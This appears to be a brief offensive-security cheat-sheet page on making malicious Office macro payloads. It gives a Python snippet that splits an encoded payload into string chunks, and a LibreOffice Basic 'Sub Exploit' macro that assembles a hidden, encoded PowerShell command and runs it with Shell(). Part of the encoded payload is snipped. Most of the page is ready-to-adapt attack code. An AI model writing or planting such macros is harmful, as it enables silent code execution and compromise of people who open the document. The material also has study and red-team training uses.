Office Macros
We will show here some methods to create macro payloads for Office documents.
LibreOffice
s = "<payload>"
n = 50
for i in range(0, len(s), n):
chunk = s[i:i + n]
print('Str = Str + "' + chunk + '"')Sub Exploit
Dim Str As String
Str = Str + "cmd /c powershell.exe -nop -w hidden -e aQBmACgAWw"
Str = Str + "BJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0"
Str = Str + "ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAH"
[snip]
...
[snip]
Str = Str + "BwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABp"
Str = Str + "AGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0AC"
Str = Str + "gAJABzACkAOwA="
Shell(Str)
End SubMicrosoft Office
Last updated